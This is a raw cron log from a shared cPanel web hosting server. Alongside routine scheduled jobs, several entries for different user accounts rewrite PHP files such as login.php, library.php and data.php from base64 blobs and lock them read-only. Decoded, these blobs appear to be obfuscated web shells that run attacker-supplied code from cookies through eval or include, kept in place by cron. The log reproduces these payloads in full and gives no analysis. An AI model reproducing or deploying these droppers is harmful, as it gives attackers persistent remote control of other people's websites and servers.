Mar  1 16:45:01 medusa CROND[6139]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:45:01 medusa CROND[6147]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:45:01 medusa CROND[6148]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6149]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:45:01 medusa CROND[6137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:45:01 medusa CROND[6157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:45:01 medusa CROND[6156]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:45:01 medusa CROND[6135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:45:01 medusa CROND[6163]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:45:01 medusa CROND[6167]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:46:01 medusa CROND[28003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:46:01 medusa CROND[28004]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:46:01 medusa CROND[28060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:46:01 medusa CROND[28144]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:46:01 medusa CROND[28145]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:46:01 medusa CROND[28146]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:46:01 medusa CROND[28148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:46:01 medusa CROND[28152]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:46:01 medusa CROND[28160]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:46:01 medusa CROND[28161]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:46:01 medusa CROND[28162]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:46:01 medusa CROND[28163]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:46:01 medusa CROND[28164]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:46:01 medusa CROND[28168]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:46:01 medusa CROND[28170]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:47:02 medusa CROND[18494]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:47:02 medusa CROND[18495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:47:02 medusa CROND[18496]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:47:02 medusa CROND[18497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:47:02 medusa CROND[18498]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:47:02 medusa CROND[18499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:47:02 medusa CROND[18500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:47:02 medusa CROND[18501]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:47:02 medusa CROND[18509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:47:02 medusa CROND[18511]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
